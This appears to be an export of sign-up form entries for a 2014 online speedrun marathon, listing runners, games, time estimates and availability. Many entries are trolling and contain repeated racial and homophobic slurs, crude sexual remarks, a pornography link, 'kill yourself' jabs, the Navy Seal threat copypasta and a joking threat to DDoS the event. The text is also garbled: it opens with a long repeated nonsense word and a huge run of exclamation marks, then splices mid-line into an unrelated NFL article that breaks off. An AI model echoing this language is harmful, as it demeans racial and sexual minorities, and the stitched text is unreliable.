bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl bihl  5 6/30/2014 3:12:53 imaginemesusan GLOVER a couple hours literally anytime i'll let you know if i can't play it  6 6/30/2014 3:13:50 Jelatinz Super Smash Bros. Melee 1:15:00 anytime nigga target test all characters  7 6/30/2014 3:13:51 Grig FUNgineer 1:43:53 by siglemic when i feel like it time to save in warp 3  8 6/30/2014 3:13:56 imaginemesusan DOOM 2 DISREPAIR AT MOST HALF AN HOUR ANY GODDAMN TIME i'll let you know if i can't play it  9 6/30/2014 3:14:17 Damagak Dishonored Low% 2:00:00 17TH SteelFlare wants to cocommentate, i was world record holder in the elitist category low% no damage (no blinking)  10 6/30/2014 3:15:26 Jelatinz Shrek - Hassle At the Castle 1:15:00 anytime nigga any%  gonna get the wr for dis 2 Option 2  11 6/30/2014 3:16:56 Dolfinh Ecco the Dolphin: Tides of Time 00:45:00 Saturday the 19th: 6pm-Midnight (have to open at work the next day) Sunday the 22nd: After 6pm  I'll contact you if availability changes. I promise not to steal any memes.  12 6/30/2014 3:17:01 Chewkey Watch Dogs, Sony Playstation 4 2 Hours Any day after 1 AM and before 7 AM I will be continuing the story mode. It is a bad game, and should be pretty meme-worthy. May possibly be getting drunk for further humor. #YoloSwag420BlazeIt Option 2  13 6/30/2014 3:17:44 fuck you Option 2  14 6/30/2014 3:18:21 Jelatinz Castle Crashers 2:10:00 anytime nigga 26 Orbs  we in dis  15 6/30/2014 3:19:31 imaginemesusan 100% ORANGE JUICE HOWEVER LONG U WANT ANYTIME YOU'RE AVALIBLE MUM Option 2  16 6/30/2014 3:19:33 Nigger Super Nigger Adventure 5 Friedchicken% Longer than my big black cock Whenever I'm not picking cotton I'm black. Option 2  17 6/30/2014 3:21:27 Dolfinh Disney's Aladdin (Genesis) 00:15:00 See my Ecco Submission twitch.tv/dolfinht Option 2  18 6/30/2014 4:10:55 Ram The Fantabulous Game 11.5 inches 18-22 of July can i habe de pusi b0ss Option 2  19 6/30/2014 4:32:18 MyBearShibbers Strider 50:00 19th or 20th 8am-10pm GMT www.twitch.tv/mybearshibbers  20 6/30/2014 4:39:20 neon-kunt kirby amzing mirror 37 im alive every day I like dogs  21 6/30/2014 8:24:33 peter afro Rokko Chan 35:00 afternoon EST any day May or may not be able to attend, we will see. This game is the first mega man game I played. Option 2  22 6/30/2014 8:30:52 peter afro mega man 6 50:00 afternoon EST any day The best megaman game. Option 2  23 6/30/2014 8:31:43 peter afro mega man 3 50:00 afternoon EST any day Another great mega man game. Option 2  24 6/30/2014 8:50:20 peter afro Rockman 8 Famicom 1:00:00 afternoon EST any day Need to redeem my skills in this after the horid run at GWP1. Option 2  25 6/30/2014 9:43:47 Slug Queen Pictures of Slug Queen 3 seconds Any fucking time I'm awake, buddy I do actually run Castle of Illusion (the HD remake on Steam) but I'm not debasing myself with your shitty fucking gay weed paloozer shit you fucking loser AYYYYY LMAO.  Where the fuck is Option 1?  26 6/30/2014 10:28:40 PoopDeckSeamen Dragon Ball Z:Budokai 50 sunday 12pm-4pm I love memes  27 6/30/2014 11:37:56 peter afro The Legend of Zelda: A Link to the Past 5:00 afternoon EST any day short as f*** run. Option 2  28 6/30/2014 12:26:13 c-man c  29 6/30/2014 12:26:55 c-ronic lol 3 hour yeah you guys suck for real Option 2  30 6/30/2014 12:27:10 DarkDEVASTAT10N Hello 3 1:50 July 19th around 8am EST Hi cyber  31 6/30/2014 12:58:54 imaginemesusan hotline miami an hour estimate whenever i'm gay Option 2  32 6/30/2014 13:00:02 imaginemesusan SHOVEL KNIGHT 1:30 literally anytime really good speedgame Option 2  33 6/30/2014 13:15:41 peter afro Nezumi Man 35:00 afternoon EST any day My first speed game, which is the reason my WR is so optimized. Option 2  34 6/30/2014 14:07:44 Chef Startropics 1:45 Weekend not 3 AM You need a sprite faggot Option 2  35 6/30/2014 14:14:19 fuck you faggot!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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 36 6/30/2014 14:20:32 Awkward_Meows Shadow of the Colossus If any% 2:50, If time attack% 1:50 7AM-4PM weekdays 1PM-8PM weekends Any% is doing the story of the game from the new game on the start screen to triggering the final cutscene.  Time Attack% is defeating every colossus in order in a post-game bonus mode. There's no running around to reach colossi, you just warp to each one.  This game can be extremely random so I put quite a bit of extra time in case things go terribly terribly wrong.  37 6/30/2014 16:15:29 Zeoik Zelda 1-3 hours 18, 19, 20 ,21, 22 Im good m8 Option 2  38 6/30/2014 17:43:34 Jelatinz Deadpool 4:00:00 anytime nigga Any% Option 2  39 6/30/2014 17:47:29 gledrlool star wars battlferont 2any% and skullgrils kill myself% i think 2 and a half hours any time past 11pm central time im a huge fucking faggot Option 2  40 6/30/2014 17:59:48 Jelatinz Super Smash Bros. Melee 1:30:00 anytime nigga All Events Option 2  41 6/30/2014 18:04:10 Jelatinz Super Smash Bros. Melee 2:10:00 anytime nigga 100 Man Melee All Characters Option 2  42 6/30/2014 18:10:04 Cyberdemon531, poopdeckseamen, Cheffybro, Lambent, and HonoredVilliage Rokko Chan (blind) Who knows, it is a blind race IDK Get hyped for peterafro's urn. Option 2  43 6/30/2014 20:06:55 Luiz_Miguel, CalebHart42, and Zewing Mega Man X (100%) 45:00 good question Epic race Option 2  44 6/30/2014 20:09:29 Iongravirei, Joka, RainDropDry, and Orion96. Mega Man 7 55:00 IDK Classic mega man relay 3 hype. Option 2  45 6/30/2014 20:11:58 Tremane, Mrcab, and peterafro Mega Man 2 (GB) 35:00 We will see. Better then NES MM2. Option 2  46 6/30/2014 20:15:56 Duckfist, usedpizza, magmapeach, cleartonic, and joka Mega Man 10 50:00 Need to look in each others schedules. Easy mode should stay banned. Option 2  47 6/30/2014 20:21:48 susan i like boys 1 meter the 9th somtimes when i touch my my penis i accidentlly piss myself and keep going Option 2  48 6/30/2014 20:31:14 qttsix and Luiz_miguel Mega Man x6 (all stages normal) 1:00:00 tommorow easy modo is dumb Option 2  49 6/30/2014 20:49:21 hetfield90, the_sid, Luiz_Miguel, zewing, and starvinsthruthers Mega Man X3 (100%) 1:00:00 ask us tommorow Best SNES MMX category. Option 2  50 6/30/2014 21:42:48 dont call me bud, pal m7 dont call me dude, brah ~ fuck you Option 2  51 6/30/2014 21:50:07 Cheffy Chivalry 1:30 Weekend Niggers Option 2  52 6/30/2014 21:50:15  53 6/30/2014 21:51:40 bruno x6 43 18-22 July oui bagette omelette Option 2  54 6/30/2014 22:26:54 Aeger Rocket Knight Adventures 30 minutes whenever  55 6/30/2014 23:01:48 ElementalGuard Jedi Knight 2 1:10:00 18-22  56 6/30/2014 23:05:41 ˙͜>˙ ˙͜>˙ ˙͜>˙ ˙͜>˙ ˙͜>˙ Option 2  57 6/30/2014 23:22:27 niggercharile ur mum too long July 20th I'm gay but I'm allergic to semen.  58 7/1/2014 0:23:43 ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao Option 2  59 7/1/2014 1:58:16 hal_over_9000 South Park: The Stick of Truth 2 hours Any of those days work  60 7/1/2014 5:23:45 sonofasorrysorcerer megaman 100 years probably never how do you play megaman  61 7/1/2014 5:45:38 Option 2  62 7/1/2014 5:59:29 Option 2  63 7/1/2014 6:00:03 Meme Memes Ebin Meme Meme o'meme I love memes :)  64 7/1/2014 12:22:52 penis dicks its huge lol lets fuk  65 7/1/2014 12:30:48 CheffyPee Startropics Like an hour any time on the 20th Option 2  66 7/1/2014 12:32:52 how much text can i put in here before im banned permanently from the googledoc form. or does it break the google doc. who fuckin knows. anyway, this one time my friend threw up all over himself in the car while we were ROADTRIPPIN and it looked like he was wearing a suit made of his own vomit. it was totally based but it made me feel sick as well. nigga shouldnt had a goddamn pizza before we went on the road trip, know what im sayin? like shit man. heres a copy pasta: What the fuck did you just fucking say about me, you little bitch? I’ll have you know I graduated top of my class in the Navy Seals, and I’ve been involved in numerous secret raids on Al-Quaeda, and I have over 300 confirmed kills. I am trained in gorilla warfare and I’m the top sniper in the entire US armed forces. You are nothing to me but just another target. I will wipe you the fuck out with precision the likes of which has never been seen before on this Earth, mark my fucking words. You think you can get away with saying that shit to me over the Internet? Think again, fucker. As we speak I am contacting my secret network of spies across the USA and your IP is being traced right now so you better prepare for the storm, maggot. The storm that wipes out the pathetic little thing you call your life. You’re fucking dead, kid. I can be anywhere, anytime, and I can kill you in over seven hundred ways, and that’s just with my bare hands. Not only am I extensively trained in unarmed combat, but I have access to the entire arsenal of the United States Marine Corps and I will use it to its full extent to wipe your miserable ass off the face of the continent, you little shit. If only you could have known what unholy retribution your little “clever” comment was about to bring down upon you, maybe you would have held your fucking tongue. But you couldn’t, you didn’t, and now you’re paying the price, you goddamn idiot. I will shit fury all over you and you will drown in it. You’re fucking dead, kiddo.  67 7/1/2014 17:10:17 ProInfernape Mega Man Zero 4 Any% (Easy) 1:30:00 July 19th I most likely wont be able to do any runs but just in case i'm submitting games anyway (because i'm just that stupid) Option 2  68 7/1/2014 17:13:04 ProInfernape Mega Man 2: The Power Fighters (Rescue Roll, Proto Man) 7:00 July 19th Option 2  69 7/1/2014 17:14:15 ProInfernape Pokemon Yellow (Save Corruption) 5:00 July 19th Option 2  70 7/1/2014 17:15:30 ProInfernape Contra (Low%) (30 Lives Code) 25:00 July 19th Option 2  71 7/2/2014 0:25:52 heeheex2 peggle extreme 20 mins any time yo nigga, Option 2  72 7/2/2014 0:35:33 SSZ_Chunks Gunman Clive PB is 29:04 18, 20-22 Only able to run at night because I have people at place during day. Also Mecha Train is basically the worst. Can only do nights later than 9PM so rip. Option 2  73 7/2/2014 0:37:40 Dugongue Disney's Magical Quest 3 35 minutes Any day, any time besides 12PM-5PM PST AI RABU MIKKII MAUSU  74 7/2/2014 0:40:56 Dugongue Quiz & Dragons 43 minutes Any day, any time besides 12PM-5PM PST Arcade based Quiz game by Capcom with outdated questions about late-80s TV shows and Sports teams. lol  75 7/2/2014 0:44:12 glaedrlol armorgames.com 2 hours any time past 10pm central time this is gonna be hype Option 2  76 7/2/2014 0:47:48 glaedrlol l4d2 all campaigns 3 hours any time past 11pm central time i really fucking suck at this game Option 2  77 7/2/2014 0:48:22 Jelatinz 100% Orange Juice Good Question anytime nigga QP's Scenario Option 2  78 7/2/2014 13:53:45  79 7/2/2014 13:55:09 i do what the fuck i want happyland 10 wherever donation incentive for me to take a dick pic  80 7/2/2014 14:02:44 Cyberdemon531 Megaman X6 i dunno i never watched the run lmao this joke is falling apart *** you cunt Option 2  81 7/2/2014 14:02:49 holy SHIT DUDE MY EARS!!!!!!!!!!!!!!!  82 7/2/2014 16:10:47 Almanarkanobender CrAsH TeAm RaCiNg like an hour  83 7/2/2014 16:16:54 Almarkowbender Crash Team Racing like an hour monday before 4 pm literally cant do my run if the marathon gets cut short  Option 2  84 7/2/2014 16:18:10 gravekid0107 megaman x2 8 mavericks 1:00:00 anytime pb 51:32 SoB 17:31 Option 2  85 7/2/2014 16:18:11 gravekid0107 megaman x2 8 mavericks 1:00:00 anytime pb 51:32 SoB 17:31 Option 2  86 7/2/2014 17:07:26 haha shut the fuck up Sleeping Dogs idk fuck you i mean yeah im a fuckin beast and you probably thought hey lambent cant finish a game, but ill fuckin stomp on all you non believers. I am the literal god of gaming so if you think you can stop me then ill fucking ddos this marathon and laugh as you cry yourself to sleep, nerd.  87 7/2/2014 17:32:20 Twitch.tv/virtualboyness Paper Mario (All Cards) 4:15 Any time. Would prefer between 6 and 12 PM I'm a pretty good PM All Cards player. PB is a 3:57  88 7/2/2014 17:32:51 Twitch.tv/virtualboyness Paper Mario (All Cards) 4:15 Any time. Would prefer between 6 and 12 PM I'm a pretty good PM All Cards player. PB is a 3:57  89 7/2/2014 18:46:25 DarkShibara Tony Hawk's Pro Skater HD 20:00.00 July 20th I work at 5 am and don't get back until 5 pm. EST  I suck at video games but this is an easy speed game.  Time begins selecting the first stage and ends when the last level's end results pop up.  The best time for me to run is between 6pm and 8pm.  Weather here is dumb so the power may go out.  I can only stream while connected to my internet wired so if my dad takes the router I'm fucked.  Also my computer sucks so the stream may look like shit.  Let me know by Skype or Twitch message, they have the same username.  90 7/2/2014 21:36:03 race_out Super Mario 64 an hour or so Any time between 10am-10pm EST. I'm not that great. just signing up because the post on reddit said i could. i'm sure you get like 50 mario 64 submissions so feel free to pick someone better than me lol  91 7/2/2014 22:26:14 gari super metroid 50 minutes any time  92 7/2/2014 23:25:13  93 7/3/2014 0:38:01 tk_mze Alien Trilogy 35:00 19th or 20th During or after midnight is the best time for me ( I live in USA Central Time ) You have anything discuss just contact me.  94 7/3/2014 0:58:51 Margret Thatcher OoT any% 15:20:13 12th of July I rly hope you uys ad me to teh urn  This better not end up on that gay weed site.  95 7/3/2014 3:28:13 orsa x5 1:05:00 After 9pm (est) on 19th or 20th boomWhale Option 2  96 7/3/2014 3:29:01 orsa hitman blood money 1:00:00 After 9pm (est) on 19th or 20th estimate is very generous, run has tons of RNG; Pro/SA run Option 2  97 7/3/2014 11:55:45 Tony Billy 1:45:00 21/22 Race with Longravioli Option 2  98 7/3/2014 16:28:16 Tairaa Half-Life 2 2:05:00 Anytime New Engine, Scriptless, 5135 Engine, Shitty source game, pls don't accept this game  99 7/3/2014 16:31:12 Tairaa Void 5:00 Anytime This is a really short source game, honestly don't select this game to be played unless you need a time filler.  100 7/3/2014 16:49:38 Chibi Banjo and Kazooie 3 hours 18 July - 21 July My first speedrun  101 7/3/2014 19:32:22 Jelatinz Plants vs. Zombies 8:00:00 anytime nigga any% Option 2  102 7/3/2014 20:00:13 Jelatinz The Amazing Spiderman 5:00:00 anytime nigga any% human modo Option 2  103 7/4/2014 20:56:32 cptabearica Megaman X7 1:10:00 19 July Dont get banned so we can keep this WR run this time.  104 7/4/2014 21:13:52 Cirno_chokes_your_dick Mega Man X6 1 hour to 1 and a half 19th is best, any day works though Dashless% maybe a race with Cybernerd  Tfw no loli gf Option 2  105 7/4/2014 22:14:28 PvtCb Doshin the Meme 1:30 Whenever at night I guess What's a good new meme I can use during the Doshin run? Option 2  106 7/4/2014 23:26:36 LP3Cinema 007: Agent Under Fire 1 hour preferably afternoons Donation Incentive for Frankies Butthole  107 7/4/2014 23:29:28 LP3Cinema Nicktoons Unite 2:45:00 preferably afternoons Donation Incentive To Bully Sparox (accompanied by Gravekid)  108 7/4/2014 23:31:34 Rhuller (James) Conker's Bad Fur Day Roughly 2 hours. July 20th Nope.  109 7/5/2014 12:33:37 Izraill minecraft 30minutes in the afternoon It's not a marathon if it doesn't have Izraill playing minecraft. Option 2  110 7/5/2014 15:20:11 cyberdemon531 dick sucking how ever long u want ;) whenever ;) http://xhamster.com/movies/97680/open_house_part_1.html Option 2  111 7/5/2014 15:20:55 unusualcook Crash Team Racing 1 hour 10 minutes Sometime late on 18th or 19th if possible  112 7/5/2014 15:21:30 Witswik Boshy 3 years July 20th Hit me up on Twitch, and we'll go over the details Option 2  113 7/5/2014 15:24:09 Whale Bay I don't speedrun I let's play paper mario ^_^ I dunno like 10 hours or something Any time where I'm not fucking Yashi at AGDQ or shoving food down my gullet is ok! ur a faget Option 2  114 7/5/2014 16:52:59 stingray some meme game like 40 min like 11 pm - 3 am EST anyday nude dice Option 2  115 7/5/2014 17:25:09 Tairaa Dora Pony Adventure Fucking like 6 minutes anytime This game sucks im cool for runing dora category is fucking any%  116 7/5/2014 17:29:25 ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao  117 7/5/2014 17:30:14 ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao  118 7/5/2014 17:30:22 ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao  119 7/5/2014 17:30:28 ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao  120 7/5/2014 17:41:45 Roflmastur Carmageddon possibly 2:30:00 20th to the 22nd this game is violent dont watch if ur 12 im talking about u jelatinz Option 2  121 7/6/2014 17:11:21 Handonium Kirby's Dream Land Extra Game 16:00 max Whenever Kirby is cute  122 7/7/2014 15:38:17 batsugun idk whenever hi  123 7/8/2014 18:18:41 cosmowright ZZT dunno you fucking cunt any time i may pull out (not like i did with your mom loma), at any given time.  i may not.  send me a twitch pm  124 7/8/2014 19:07:39 Tairaa Call of Duty: Modern Warfare 2 2:20:00 Anytime Reminder jltn told me to do this so if this run turns into gay black people sucking eachother off blame it on him Option 2  125 7/8/2014 19:15:19 Jelatinz WarioWare, Inc.: Mega Microgame$! 8:00:00 anytime nigga hundo percento modo  gonna kill my self during this run  we in dis Option 2  126 7/8/2014 20:06:04 kill yourself butt plug adventures dude long dong tomorrow mybackhurts Option 2  127 7/8/2014 23:27:33 Chewkey Need For Speed Rivals, Sony Playstation 4 Entertainment Console 1 Hour Any day after 1 AM and before 7 AM I will be racing multiple users on multiplayer.  128 7/9/2014 22:17:07 FaggotAssassin The Legend of Zelda: Lampshade 1 minute Anytime you want bb  129 7/11/2014 0:33:36 Soup Dragon The Witcher 3 forever now till november do it  130 7/11/2014 18:51:21 ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao ayy lmao Option 2  131 7/11/2014 21:01:22 Neon-kunt the legend of zelda skyward sword 14 hours 8am-12am any day this could take 10-14 hours depending on me being dum  132 7/12/2014 20:04:00 siglemic sm64 2hr 22nd  133 7/14/2014 6:47:59 A big guy for you OF COURSHE crashing this plane A lot of loyalty for a hired speedrunner
-We're still two months away from real games, but it's never too early to examine the hot seat.  Every NFL head coach is under pressure to succeed, but a short list of hired hands face particularly tough scenarios. Here's our pick of men already staring down the barrel in July:  Jim Tomsula has massive shoes to fill  No team has endured a rockier offseason than the San Francisco 49ers. A rash of player retirements, the loss of Frank Gore, a weakened offensive line and a very public breakup with former coach Jim Harbaugh has left the team spiraling in the NFC West.  Ownership opted to raise up in-house favorite Jim Tomsula to steer the ship, but keeping the Niners afloat won't be easy. Facing a rugged intra-division schedule and games against the AFC North, San Francisco is a candidate to fall off a cliff this autumn. Fans, media and players want to see instant proof that Tomsula has the requisite tools to guide an NFL team after an offseason of bizarre press conferences and questionable roster moves.  The good news is that people who know Tomsula swear by him. The bad news? None of that matters if the Niners stage a massive implosion. I can't think of an uglier situation for a coach facing huge expectations from an antsy and agitated fan base. Good luck, sir. -- Marc Sessler  Improvement at QB key for Jay Gruden  Gruden's first year as head coach spun violently off a cliff. His handling of Robert Griffin III seemed erratic -- with his public criticisms of the starting quarterback unheard of in the NFL, even if true. Playing quarterback roulette helped no one and kept his offense out of synch all season. The defense was even worse, allowing receivers to jaunt unimpeded across the secondary.  In Year 2, Gruden must show management some semblance of progress. Owner Daniel Snyder is 